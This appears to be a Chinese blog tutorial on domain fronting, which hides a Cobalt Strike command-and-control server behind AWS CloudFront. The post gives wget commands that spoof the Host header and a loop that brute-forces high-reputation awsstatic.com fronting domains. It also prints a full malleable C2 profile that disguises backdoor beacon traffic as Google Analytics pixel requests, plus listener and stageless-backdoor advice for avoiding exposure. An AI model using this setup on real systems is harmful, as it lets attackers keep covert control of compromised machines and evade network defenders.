zoukankan      html  css  js  c++  java
  • C2隐藏Domain Fronting

    介绍:Domain Frontin域前置,是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。

    #原理

    Domain Fronting 的核心技术是 CDN,1台 CDN 会同时负责多个网站的加速服务,如果我访问的两个网站(a.com 和 b.com)都是由同1台 CDN 服务器(1.1.1.1)进行加速服务,那么当我使用浏览器访问这两个域名时,浏览器实际上访问的都是 1.1.1.1 这台 CDN 服务器,但我在浏览器访问的域名有可能是 a.com 也可能是 b.com,所以 1.1.1.1 这台 CDN 服务器必须清楚地知道我访问的是哪个域名,然后才能给我返回对应域名的内容,在和 CDN 服务器通信时,在 HTTP 请求包的 Host 头中填入我们要访问的域名。

    一、CloudFront服务,https://console.aws.amazon.com/cloudfront/home

     

     

     

     

     

    设置完成后会分配到一个域名,xxxx.cloudfront.net

     

    接下来可以用wget测试一下C2域名,

     

    wget -q -O - http://yiwang.com/test.txt
    
    123
    
    #这个是刚刚分配出来的域名,可以请求到test.txt内容 wget -q -O - http://xxxx.cloudfront.net/test.txt 123

    修改HOST主机头为CloudFront分配的域名

    wget -U demo -q -O - http://a0.awsstatic.com/test.txt --header "Host: xxxxx.cloudfront.net"

    123

    可以使用高信誉域名来代替我们自己的域名

    寻找高信誉域名:for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/test.txt --header "Host: *.cloudfront.net" && echo $i$j; done;done

    Cobaltstrike应用准备C2 profile,其中需要替换掉host内容

    # make our C2 look like a Google Web Bug
    # https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
    #
    # Author: @armitagehacker
    
    http-get {
    	set uri "/__utm.gif";
    	client {
    		parameter "utmac" "UA-2202604-2";
    		parameter "utmcn" "1";
    		parameter "utmcs" "ISO-8859-1";
    		parameter "utmsr" "1280x1024";
    		parameter "utmsc" "32-bit";
    		parameter "utmul" "en-US";
    
    		header "Host" "*.cloudfront.net";
    
    		metadata {
    			netbios;
    			prepend "__utma";
    			parameter "utmcc";
    		}
    	}
    
    	server {
    		header "Content-Type" "image/gif";
    
    		output {
    			# hexdump pixel.gif
    			# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
    			# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
    			# 0000020 01 00 01 00 00 02 01 44 00 3b 
    
    			prepend "x01x00x01x00x00x02x01x44x00x3b";
    			prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
    			prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
    
    			print;
    		}
    	}
    }
    
    http-post {
    	set uri "/___utm.gif";
    	client {
    		header "Content-Type" "application/octet-stream";
    
    		id {
    			prepend "UA-220";
    			append "-2";
    			parameter "utmac";
    		}
    
    		parameter "utmcn" "1";
    		parameter "utmcs" "ISO-8859-1";
    		parameter "utmsr" "1280x1024";
    		parameter "utmsc" "32-bit";
    		parameter "utmul" "en-US";
    
    		header "Host" "*.cloudfront.net";
    
    		output {
    			print;
    		}
    	}
    
    	server {
    		header "Content-Type" "image/gif";
    
    		output {
    			prepend "x01x00x01x00x00x02x01x44x00x3b";
    			prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
    			prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
    			print;
    		}
    	}
    }
    
    # dress up the staging process too
    http-stager {
    	server {
    		header "Content-Type" "image/gif";
    	}
    }

    使用./c2lint测试看程序是否正常启动cs创建listener

     创建listener的时候host填写CloudFront分配的域名,beacons处填写高信誉域名

     

     这种配置方式后门在进行通信时会出现一次请求*.cloudfront.net域名,然后再切换到高信誉域名进行通信,这种通信会泄露了*.cloudfront.net域名,第一次请求就使用高信誉域名的的话,即创建监听器时把Host填写为高信誉域名,需要使用Stageless模式创建backdoor。

    Stageless模式:

     参考链接:

    1.https://blog.donot.me/domain-fronted/

    2.https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=71715#/

    3.https://evi1cg.me/archives/Domain_Fronting.html

  • 相关阅读:
    网页效果图设计之色彩索引
    支持树型的GridView控件
    (转)CSS布局参考 IE的If条件注释使用备忘
    firefox与IE对javascript和CSS的区别
    转 CSS半透明滤镜在FIREFOX和IE下面的能够通用的写法
    無法為 SSL/TLS 安全通道建立信任關係,忽略憑証檢查的方式
    临时
    EventUtil
    js测试对象包含特性
    重学概率论的一点点理解(持续更新)
  • 原文地址:https://www.cnblogs.com/websecyw/p/11994194.html
Copyright © 2011-2022 走看看